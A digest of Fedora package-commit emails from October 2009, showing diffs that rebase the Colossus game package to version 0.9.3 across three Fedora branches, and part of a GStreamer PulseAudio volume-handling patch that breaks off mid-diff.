+# If a rev is provided, you can also provide a branch. As time goes on
+# I expect that the Colossus project will be doing more stable branches.
+# Don't supply "trunk" as a branch, leave it unspecified instead.
 
 # Location of SVN repository
-COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
+if test -z "$2"
+then
+BRANCH=trunk/Colossus
+BNAME=
+else
+BRANCH=branches/releases/Colossus-$2
+BNAME=$2
+fi
+COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/${BRANCH}
 
 # First check if revision specified
 if test -z "$1"
@@ -19,24 +30,24 @@ REV=(`svn info -r $1 --xml --incremental
 fi
 
 # Remove pre-existing source with the same rev
-rm -rf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Fetch source
-svn export -q -r ${REV[1]} $COLOSSUS colossus-${REV[0]}-${REV[1]}
+svn export -q -r ${REV[1]} $COLOSSUS colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove included jar files
-find colossus-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
+find colossus-${BNAME}-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
 
 # Remove htdocs is just a copy of the project home page. This is also
 # one less set of images to worry about.
-rm -rf colossus-${REV[0]}-${REV[1]}/htdocs
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}/htdocs
 
 # This can be used to remove all of the unused images in the icons directory.
 # It is not needed for now.
-# find colossus-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
+# find colossus-${BNAME}-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
 
 # Build .tar.gz archive
-tar czf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+tar czf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove unarchived source
-rm -rf colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}


Index: colossus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-10/colossus.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- colossus.spec	6 Sep 2009 16:49:49 -0000	1.6
+++ colossus.spec	17 Oct 2009 00:58:34 -0000	1.7
@@ -1,8 +1,9 @@
 Name:           colossus
-%define         rev        4519
-%define         revdate    20090906
-Version:        0.9.2
-Release:        1.%{revdate}svn%{rev}%{?dist}
+%define         rev        4577
+%define         revdate    20091015
+Version:        0.9.3
+%define         branch     %{version}
+Release:        1%{?dist}
 Summary:        Allows people to play Titan against each other or AIs
 
 Group:          Amusements/Games
@@ -17,7 +18,7 @@ URL:            http://colossus.sourcefo
 # when grabbing the latest revision, using svn info.
 # The repo is at:
 # https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
-Source0:        colossus-%{revdate}-%{rev}.tar.gz
+Source0:        colossus-%{branch}-%{revdate}-%{rev}.tar.gz
 Source1:        colossus-gen-tarball.sh
 Source2:        colossus-rev.xsl
 
@@ -63,7 +64,7 @@ Requires:       jpackage-utils
 This package contains the API documentation for %{name}.
 
 %prep
-%setup -q -n %{name}-%{revdate}-%{rev}
+%setup -q -n %{name}-%{branch}-%{revdate}-%{rev}
 
 %build
 
@@ -179,6 +180,18 @@ touch --no-create %{_datadir}/pixmaps ||
 
 %changelog
 
+* Fri Oct 16 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.3-1
+- Rebase to 0.9.3
+- Adjust script for grabbing source to be able to grab from branches
+- Fixed 2877055: Some GUI preferences don't load on startup
+- Fixed: 2864777 Illegal rangestrike over walls
+- Do not choose Experimental AI as "A Random AI" because it occasionally crashes
+- Fixed: 2859914 Balrog placement ignores score (aka: Balrog every 300 again, not 50)
+- Fixed: 2864790 Aborting load game with remote player - No GetPlayers dialog
+- Fixed: 2838276 "my Strike Skill" is wrong for nonnatives to bramble (actually, just improved the dialog to make it's meaning clearer)
+- Fixed: 2855208 Balrog exception in V0.9.2 (ConcurrentModificationException)
+- See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html
+
 * Sun Sep 06 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.2-1.20090906svn4519
 - Rebase to 0.9.2
 - See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-10/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	6 Sep 2009 16:49:49 -0000	1.4
+++ import.log	17 Oct 2009 00:58:34 -0000	1.5
@@ -2,3 +2,4 @@ colossus-0-0_2_20090710svn4432_fc11:F-10
 colossus-0_9_0-1_20090810svn4482_fc11:F-10:colossus-0.9.0-1.20090810svn4482.fc11.src.rpm:1249969651
 colossus-0_9_1-1_20090817svn4489_fc11:F-10:colossus-0.9.1-1.20090817svn4489.fc11.src.rpm:1250541400
 colossus-0_9_2-1_20090906svn4519_fc11:F-10:colossus-0.9.2-1.20090906svn4519.fc11.src.rpm:1252255765
+colossus-0_9_3-1_fc12:F-10:colossus-0.9.3-1.fc12.src.rpm:1255741098


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	6 Sep 2009 16:49:49 -0000	1.5
+++ sources	17 Oct 2009 00:58:34 -0000	1.6
@@ -1 +1 @@
-29662adb0e19e4eeea4c0f5c6942c477  colossus-20090906-4519.tar.gz
+678d68e4c356c69987342d833dd702a0  colossus-0.9.3-20091015-4577.tar.gz



From bruno at fedoraproject.org  Sat Oct 17 00:59:20 2009
From: bruno at fedoraproject.org (Bruno Wolff III)
Date: Sat, 17 Oct 2009 00:59:20 +0000 (UTC)
Subject: rpms/colossus/F-11 .cvsignore, 1.5, 1.6 colossus-gen-tarball.sh, 1.1,
	1.2 colossus.spec, 1.6, 1.7 import.log, 1.4, 1.5 sources, 1.5, 1.6
Message-ID: <20091017005920.8670211C00E5@cvs1.fedora.phx.redhat.com>

Author: bruno

Update of /cvs/pkgs/rpms/colossus/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12368/F-11

Modified Files:
	.cvsignore colossus-gen-tarball.sh colossus.spec import.log 
	sources 
Log Message:
Rebase to 0.9.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	6 Sep 2009 16:50:41 -0000	1.5
+++ .cvsignore	17 Oct 2009 00:59:20 -0000	1.6
@@ -1 +1 @@
-colossus-20090906-4519.tar.gz
+colossus-0.9.3-20091015-4577.tar.gz


Index: colossus-gen-tarball.sh
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-11/colossus-gen-tarball.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- colossus-gen-tarball.sh	13 Jul 2009 03:03:24 -0000	1.1
+++ colossus-gen-tarball.sh	17 Oct 2009 00:59:20 -0000	1.2
@@ -6,9 +6,20 @@
 # is used instead.
 # $REV[0] is the date of the commit for the build
 # $REV[1] is the revision of the commit for the build
+# If a rev is provided, you can also provide a branch. As time goes on
+# I expect that the Colossus project will be doing more stable branches.
+# Don't supply "trunk" as a branch, leave it unspecified instead.
 
 # Location of SVN repository
-COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
+if test -z "$2"
+then
+BRANCH=trunk/Colossus
+BNAME=
+else
+BRANCH=branches/releases/Colossus-$2
+BNAME=$2
+fi
+COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/${BRANCH}
 
 # First check if revision specified
 if test -z "$1"
@@ -19,24 +30,24 @@ REV=(`svn info -r $1 --xml --incremental
 fi
 
 # Remove pre-existing source with the same rev
-rm -rf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Fetch source
-svn export -q -r ${REV[1]} $COLOSSUS colossus-${REV[0]}-${REV[1]}
+svn export -q -r ${REV[1]} $COLOSSUS colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove included jar files
-find colossus-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
+find colossus-${BNAME}-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
 
 # Remove htdocs is just a copy of the project home page. This is also
 # one less set of images to worry about.
-rm -rf colossus-${REV[0]}-${REV[1]}/htdocs
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}/htdocs
 
 # This can be used to remove all of the unused images in the icons directory.
 # It is not needed for now.
-# find colossus-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
+# find colossus-${BNAME}-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
 
 # Build .tar.gz archive
-tar czf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+tar czf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove unarchived source
-rm -rf colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}


Index: colossus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-11/colossus.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- colossus.spec	6 Sep 2009 16:50:41 -0000	1.6
+++ colossus.spec	17 Oct 2009 00:59:20 -0000	1.7
@@ -1,8 +1,9 @@
 Name:           colossus
-%define         rev        4519
-%define         revdate    20090906
-Version:        0.9.2
-Release:        1.%{revdate}svn%{rev}%{?dist}
+%define         rev        4577
+%define         revdate    20091015
+Version:        0.9.3
+%define         branch     %{version}
+Release:        1%{?dist}
 Summary:        Allows people to play Titan against each other or AIs
 
 Group:          Amusements/Games
@@ -17,7 +18,7 @@ URL:            http://colossus.sourcefo
 # when grabbing the latest revision, using svn info.
 # The repo is at:
 # https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
-Source0:        colossus-%{revdate}-%{rev}.tar.gz
+Source0:        colossus-%{branch}-%{revdate}-%{rev}.tar.gz
 Source1:        colossus-gen-tarball.sh
 Source2:        colossus-rev.xsl
 
@@ -63,7 +64,7 @@ Requires:       jpackage-utils
 This package contains the API documentation for %{name}.
 
 %prep
-%setup -q -n %{name}-%{revdate}-%{rev}
+%setup -q -n %{name}-%{branch}-%{revdate}-%{rev}
 
 %build
 
@@ -179,6 +180,18 @@ touch --no-create %{_datadir}/pixmaps ||
 
 %changelog
 
+* Fri Oct 16 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.3-1
+- Rebase to 0.9.3
+- Adjust script for grabbing source to be able to grab from branches
+- Fixed 2877055: Some GUI preferences don't load on startup
+- Fixed: 2864777 Illegal rangestrike over walls
+- Do not choose Experimental AI as "A Random AI" because it occasionally crashes
+- Fixed: 2859914 Balrog placement ignores score (aka: Balrog every 300 again, not 50)
+- Fixed: 2864790 Aborting load game with remote player - No GetPlayers dialog
+- Fixed: 2838276 "my Strike Skill" is wrong for nonnatives to bramble (actually, just improved the dialog to make it's meaning clearer)
+- Fixed: 2855208 Balrog exception in V0.9.2 (ConcurrentModificationException)
+- See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html
+
 * Sun Sep 06 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.2-1.20090906svn4519
 - Rebase to 0.9.2
 - See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-11/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	6 Sep 2009 16:50:41 -0000	1.4
+++ import.log	17 Oct 2009 00:59:20 -0000	1.5
@@ -2,3 +2,4 @@ colossus-0-0_2_20090710svn4432_fc11:F-11
 colossus-0_9_0-1_20090810svn4482_fc11:F-11:colossus-0.9.0-1.20090810svn4482.fc11.src.rpm:1249969718
 colossus-0_9_1-1_20090817svn4489_fc11:F-11:colossus-0.9.1-1.20090817svn4489.fc11.src.rpm:1250541304
 colossus-0_9_2-1_20090906svn4519_fc11:F-11:colossus-0.9.2-1.20090906svn4519.fc11.src.rpm:1252255815
+colossus-0_9_3-1_fc12:F-11:colossus-0.9.3-1.fc12.src.rpm:1255741147


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-11/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	6 Sep 2009 16:50:41 -0000	1.5
+++ sources	17 Oct 2009 00:59:20 -0000	1.6
@@ -1 +1 @@
-29662adb0e19e4eeea4c0f5c6942c477  colossus-20090906-4519.tar.gz
+678d68e4c356c69987342d833dd702a0  colossus-0.9.3-20091015-4577.tar.gz



From bruno at fedoraproject.org  Sat Oct 17 01:03:37 2009
From: bruno at fedoraproject.org (Bruno Wolff III)
Date: Sat, 17 Oct 2009 01:03:37 +0000 (UTC)
Subject: rpms/colossus/F-12 .cvsignore, 1.7, 1.8 colossus-gen-tarball.sh, 1.1,
	1.2 colossus.spec, 1.9, 1.10 import.log, 1.6, 1.7 sources, 1.7, 1.8
Message-ID: <20091017010338.030D511C00E5@cvs1.fedora.phx.redhat.com>

Author: bruno

Update of /cvs/pkgs/rpms/colossus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13368/F-12

Modified Files:
	.cvsignore colossus-gen-tarball.sh colossus.spec import.log 
	sources 
Log Message:
Rebase to 0.9.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	6 Sep 2009 16:48:47 -0000	1.7
+++ .cvsignore	17 Oct 2009 01:03:37 -0000	1.8
@@ -1 +1 @@
-colossus-20090906-4519.tar.gz
+colossus-0.9.3-20091015-4577.tar.gz


Index: colossus-gen-tarball.sh
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-12/colossus-gen-tarball.sh,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- colossus-gen-tarball.sh	13 Jul 2009 03:00:33 -0000	1.1
+++ colossus-gen-tarball.sh	17 Oct 2009 01:03:37 -0000	1.2
@@ -6,9 +6,20 @@
 # is used instead.
 # $REV[0] is the date of the commit for the build
 # $REV[1] is the revision of the commit for the build
+# If a rev is provided, you can also provide a branch. As time goes on
+# I expect that the Colossus project will be doing more stable branches.
+# Don't supply "trunk" as a branch, leave it unspecified instead.
 
 # Location of SVN repository
-COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
+if test -z "$2"
+then
+BRANCH=trunk/Colossus
+BNAME=
+else
+BRANCH=branches/releases/Colossus-$2
+BNAME=$2
+fi
+COLOSSUS=https://colossus.svn.sourceforge.net/svnroot/colossus/${BRANCH}
 
 # First check if revision specified
 if test -z "$1"
@@ -19,24 +30,24 @@ REV=(`svn info -r $1 --xml --incremental
 fi
 
 # Remove pre-existing source with the same rev
-rm -rf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Fetch source
-svn export -q -r ${REV[1]} $COLOSSUS colossus-${REV[0]}-${REV[1]}
+svn export -q -r ${REV[1]} $COLOSSUS colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove included jar files
-find colossus-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
+find colossus-${BNAME}-${REV[0]}-${REV[1]} -name '*.jar' | xargs rm -f
 
 # Remove htdocs is just a copy of the project home page. This is also
 # one less set of images to worry about.
-rm -rf colossus-${REV[0]}-${REV[1]}/htdocs
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}/htdocs
 
 # This can be used to remove all of the unused images in the icons directory.
 # It is not needed for now.
-# find colossus-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
+# find colossus-${BNAME}-${REV[0]}-${REV[1]}/core/src/main/resource/icons/ -type f \! -name ColossusIcon.png | xargs rm -f
 
 # Build .tar.gz archive
-tar czf colossus-${REV[0]}-${REV[1]}.tar.gz colossus-${REV[0]}-${REV[1]}
+tar czf colossus-${BNAME}-${REV[0]}-${REV[1]}.tar.gz colossus-${BNAME}-${REV[0]}-${REV[1]}
 
 # Remove unarchived source
-rm -rf colossus-${REV[0]}-${REV[1]}
+rm -rf colossus-${BNAME}-${REV[0]}-${REV[1]}


Index: colossus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-12/colossus.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- colossus.spec	6 Sep 2009 16:48:47 -0000	1.9
+++ colossus.spec	17 Oct 2009 01:03:37 -0000	1.10
@@ -1,8 +1,9 @@
 Name:           colossus
-%define         rev        4519
-%define         revdate    20090906
-Version:        0.9.2
-Release:        1.%{revdate}svn%{rev}%{?dist}
+%define         rev        4577
+%define         revdate    20091015
+Version:        0.9.3
+%define         branch     %{version}
+Release:        1%{?dist}
 Summary:        Allows people to play Titan against each other or AIs
 
 Group:          Amusements/Games
@@ -17,7 +18,7 @@ URL:            http://colossus.sourcefo
 # when grabbing the latest revision, using svn info.
 # The repo is at:
 # https://colossus.svn.sourceforge.net/svnroot/colossus/trunk/Colossus
-Source0:        colossus-%{revdate}-%{rev}.tar.gz
+Source0:        colossus-%{branch}-%{revdate}-%{rev}.tar.gz
 Source1:        colossus-gen-tarball.sh
 Source2:        colossus-rev.xsl
 
@@ -63,7 +64,7 @@ Requires:       jpackage-utils
 This package contains the API documentation for %{name}.
 
 %prep
-%setup -q -n %{name}-%{revdate}-%{rev}
+%setup -q -n %{name}-%{branch}-%{revdate}-%{rev}
 
 %build
 
@@ -179,6 +180,18 @@ touch --no-create %{_datadir}/pixmaps ||
 
 %changelog
 
+* Fri Oct 16 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.3-1
+- Rebase to 0.9.3
+- Adjust script for grabbing source to be able to grab from branches
+- Fixed 2877055: Some GUI preferences don't load on startup
+- Fixed: 2864777 Illegal rangestrike over walls
+- Do not choose Experimental AI as "A Random AI" because it occasionally crashes
+- Fixed: 2859914 Balrog placement ignores score (aka: Balrog every 300 again, not 50)
+- Fixed: 2864790 Aborting load game with remote player - No GetPlayers dialog
+- Fixed: 2838276 "my Strike Skill" is wrong for nonnatives to bramble (actually, just improved the dialog to make it's meaning clearer)
+- Fixed: 2855208 Balrog exception in V0.9.2 (ConcurrentModificationException)
+- See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html
+
 * Sun Sep 06 2009 Bruno Wolff III <bruno at wolff.to> - 0.9.2-1.20090906svn4519
 - Rebase to 0.9.2
 - See: http://colossus.sourceforge.net/docs/RecentChangesDetails.html


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-12/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	6 Sep 2009 16:48:47 -0000	1.6
+++ import.log	17 Oct 2009 01:03:37 -0000	1.7
@@ -4,3 +4,4 @@ colossus-0-0_5_20090726svn4462_fc11:HEAD
 colossus-0_9_0-1_20090810svn4482_fc11:HEAD:colossus-0.9.0-1.20090810svn4482.fc11.src.rpm:1249966312
 colossus-0_9_1-1_20090817svn4489_fc11:HEAD:colossus-0.9.1-1.20090817svn4489.fc11.src.rpm:1250541173
 colossus-0_9_2-1_20090906svn4519_fc11:HEAD:colossus-0.9.2-1.20090906svn4519.fc11.src.rpm:1252255689
+colossus-0_9_3-1_fc12:F-12:colossus-0.9.3-1.fc12.src.rpm:1255741398


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/colossus/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	6 Sep 2009 16:48:47 -0000	1.7
+++ sources	17 Oct 2009 01:03:37 -0000	1.8
@@ -1 +1 @@
-29662adb0e19e4eeea4c0f5c6942c477  colossus-20090906-4519.tar.gz
+678d68e4c356c69987342d833dd702a0  colossus-0.9.3-20091015-4577.tar.gz



From hadess at fedoraproject.org  Sat Oct 17 01:21:16 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Sat, 17 Oct 2009 01:21:16 +0000 (UTC)
Subject: rpms/gstreamer-plugins-good/F-11 gstreamer-plugins-good.spec, 1.101,
	1.102 pulsesink-lowering-volumes.patch, 1.1, 1.2
Message-ID: <20091017012116.D295411C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-good/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20049

Modified Files:
	gstreamer-plugins-good.spec pulsesink-lowering-volumes.patch 
Log Message:
* Sat Oct 17 2009 Bastien Nocera <bnocera at redhat.com> 0.10.16-3
- Finally fix pulsesink volume lowering problems (#488532)



Index: gstreamer-plugins-good.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/gstreamer-plugins-good.spec,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- gstreamer-plugins-good.spec	17 Oct 2009 00:50:45 -0000	1.101
+++ gstreamer-plugins-good.spec	17 Oct 2009 01:21:16 -0000	1.102
@@ -74,6 +74,7 @@ Provides: gstreamer-plugins-farsight = 0
 Obsoletes: gstreamer-plugins-farsight < 0.12.12
 
 # http://bugzilla.gnome.org/show_bug.cgi?id=595231
+# and many others
 Patch2: pulsesink-lowering-volumes.patch
 
 %description

pulsesink-lowering-volumes.patch:
 pulsemixer.c     |   14 +-
 pulsemixerctrl.c |   77 ++++++++------
 pulsemixerctrl.h |   13 +-
 pulseprobe.c     |   27 +++-
 pulseprobe.h     |   13 +-
 pulsesink.c      |  299 +++++++++++++++++++++++++++++++++++++++++++------------
 pulsesink.h      |   14 +-
 pulsesrc.c       |   54 +++++----
 pulsesrc.h       |   10 +
 9 files changed, 374 insertions(+), 147 deletions(-)

Index: pulsesink-lowering-volumes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-good/F-11/pulsesink-lowering-volumes.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pulsesink-lowering-volumes.patch	17 Oct 2009 00:50:45 -0000	1.1
+++ pulsesink-lowering-volumes.patch	17 Oct 2009 01:21:16 -0000	1.2
@@ -1,26 +1,630 @@
-From cee7048dcd68f1d3cca3651a5aaef11145390fa4 Mon Sep 17 00:00:00 2001
-From: Lennart Poettering <lennart at poettering.net>
-Date: Sat, 17 Oct 2009 02:18:53 +0200
-Subject: [PATCH] pulse: never apply volume more than once
-
-Generally decisions on the volume of the stream should be done inside of
-PA, not inside of Gst. Only PA knows how volumes translate between
-devices and s on.
-
-This patch makes sure that all volumes set via the volume property are
-only applied *once* to the underlying stream. After applying them the
-client side will not store them anymore. This should make sure that
-really only user-triggered volume changes are forwarded to server, but
-the client never tries to save/restore the volume internally.
----
- ext/pulse/pulsesink.c |   34 ++++++++++++++++++++--------------
- 1 files changed, 20 insertions(+), 14 deletions(-)
-
+diff --git a/ext/pulse/pulsemixer.c b/ext/pulse/pulsemixer.c
+index 99d33ae..ab99c55 100644
+--- a/ext/pulse/pulsemixer.c
++++ b/ext/pulse/pulsemixer.c
+@@ -252,6 +252,7 @@ static GstStateChangeReturn
+ gst_pulsemixer_change_state (GstElement * element, GstStateChange transition)
+ {
+   GstPulseMixer *this = GST_PULSEMIXER (element);
++  GstStateChangeReturn res;
+ 
+   switch (transition) {
+     case GST_STATE_CHANGE_NULL_TO_READY:
+@@ -260,19 +261,22 @@ gst_pulsemixer_change_state (GstElement * element, GstStateChange transition)
+             gst_pulsemixer_ctrl_new (G_OBJECT (this), this->server,
+             this->device, GST_PULSEMIXER_UNKNOWN);
+       break;
++    default:
++      ;
++  }
++
++  res = GST_ELEMENT_CLASS (parent_class)->change_state (element, transition);
++
++  switch (transition) {
+     case GST_STATE_CHANGE_READY_TO_NULL:
+       if (this->mixer) {
+         gst_pulsemixer_ctrl_free (this->mixer);
+         this->mixer = NULL;
+       }
+       break;
+-
+     default:
+       ;
+   }
+ 
+-  if (GST_ELEMENT_CLASS (parent_class)->change_state)
+-    return GST_ELEMENT_CLASS (parent_class)->change_state (element, transition);
+-
+-  return GST_STATE_CHANGE_SUCCESS;
++  return res;
+ }
+diff --git a/ext/pulse/pulsemixerctrl.c b/ext/pulse/pulsemixerctrl.c
+index ae807c6..760bd3e 100644
+--- a/ext/pulse/pulsemixerctrl.c
++++ b/ext/pulse/pulsemixerctrl.c
+@@ -1,3 +1,5 @@
++/*-*- Mode: C; c-basic-offset: 2 -*-*/
++
+ /*
+  *  GStreamer pulseaudio plugin
+  *
+@@ -74,7 +76,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
+   }
+ 
+   if (!i && eol < 0) {
+-    c->operation_success = 0;
++    c->operation_success = FALSE;
+     pa_threaded_mainloop_signal (c->mainloop, 0);
+     return;
+   }
+@@ -89,7 +91,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
+   c->index = i->index;
+   c->channel_map = i->channel_map;
+   c->volume = i->volume;
+-  c->muted = i->mute;
++  c->muted = !!i->mute;
+   c->type = GST_PULSEMIXER_SINK;
+ 
+   if (c->track) {
+@@ -100,7 +102,7 @@ gst_pulsemixer_ctrl_sink_info_cb (pa_context * context, const pa_sink_info * i,
+     c->track->flags = flags;
+   }
+ 
+-  c->operation_success = 1;
++  c->operation_success = TRUE;
+   pa_threaded_mainloop_signal (c->mainloop, 0);
+ }
+ 
+@@ -124,7 +126,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
+   }
+ 
+   if (!i && eol < 0) {
+-    c->operation_success = 0;
++    c->operation_success = FALSE;
+     pa_threaded_mainloop_signal (c->mainloop, 0);
+     return;
+   }
+@@ -139,7 +141,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
+   c->index = i->index;
+   c->channel_map = i->channel_map;
+   c->volume = i->volume;
+-  c->muted = i->mute;
++  c->muted = !!i->mute;
+   c->type = GST_PULSEMIXER_SOURCE;
+ 
+   if (c->track) {
+@@ -150,7 +152,7 @@ gst_pulsemixer_ctrl_source_info_cb (pa_context * context,
+     c->track->flags = flags;
+   }
+ 
+-  c->operation_success = 1;
++  c->operation_success = TRUE;
+   pa_threaded_mainloop_signal (c->mainloop, 0);
+ }
+ 
+@@ -193,31 +195,40 @@ gst_pulsemixer_ctrl_success_cb (pa_context * context, int success,
+ {
+   GstPulseMixerCtrl *c = (GstPulseMixerCtrl *) userdata;
+ 
+-  c->operation_success = success;
++  c->operation_success = !!success;
+   pa_threaded_mainloop_signal (c->mainloop, 0);
+ }
+ 
+-#define CHECK_DEAD_GOTO(c, label) do { \
+-if (!(c)->context || pa_context_get_state((c)->context) != PA_CONTEXT_READY) { \
+-    GST_WARNING_OBJECT (c->object, "Not connected: %s", (c)->context ? pa_strerror(pa_context_errno((c)->context)) : "NULL"); \
+-    goto label; \
+-} \
+-} while(0);
++#define CHECK_DEAD_GOTO(c, label)                                       \
++  G_STMT_START {                                                        \
++    if (!(c)->context ||                                                \
++        !PA_CONTEXT_IS_GOOD(pa_context_get_state((c)->context))) {      \
++      GST_WARNING_OBJECT ((c)->object, "Not connected: %s",             \
++                          (c)->context ? pa_strerror(pa_context_errno((c)->context)) : "NULL"); \
++      goto label;                                                       \
++    }                                                                   \
++  } G_STMT_END
+ 
+ static gboolean
+ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
+ {
+   int e;
+-  gchar *name = gst_pulse_client_name ();
++  gchar *name;
+   pa_operation *o = NULL;
+ 
+   g_assert (c);
+ 
++  GST_DEBUG_OBJECT (c->object, "ctrl open");
++
+   c->mainloop = pa_threaded_mainloop_new ();
+-  g_assert (c->mainloop);
++  if (!c->mainloop)
++    return FALSE;
+ 
+   e = pa_threaded_mainloop_start (c->mainloop);
+-  g_assert (e == 0);
++  if (e < 0)
++    return FALSE;
++
++  name = gst_pulse_client_name ();
+ 
+   pa_threaded_mainloop_lock (c->mainloop);
+ 
+@@ -239,16 +250,12 @@ gst_pulsemixer_ctrl_open (GstPulseMixerCtrl * c)
+   }
+ 
+   /* Wait until the context is ready */
+-  pa_threaded_mainloop_wait (c->mainloop);
+-
+-  if (pa_context_get_state (c->context) != PA_CONTEXT_READY) {
+-    GST_WARNING_OBJECT (c->object, "Failed to connect context: %s",
+-        pa_strerror (pa_context_errno (c->context)));
+-    goto unlock_and_fail;
++  while (pa_context_get_state (c->context) != PA_CONTEXT_READY) {
++    CHECK_DEAD_GOTO (c, unlock_and_fail);
++    pa_threaded_mainloop_wait (c->mainloop);
+   }
+ 
+   /* Subscribe to events */
+-
+   if (!(o =
+           pa_context_subscribe (c->context,
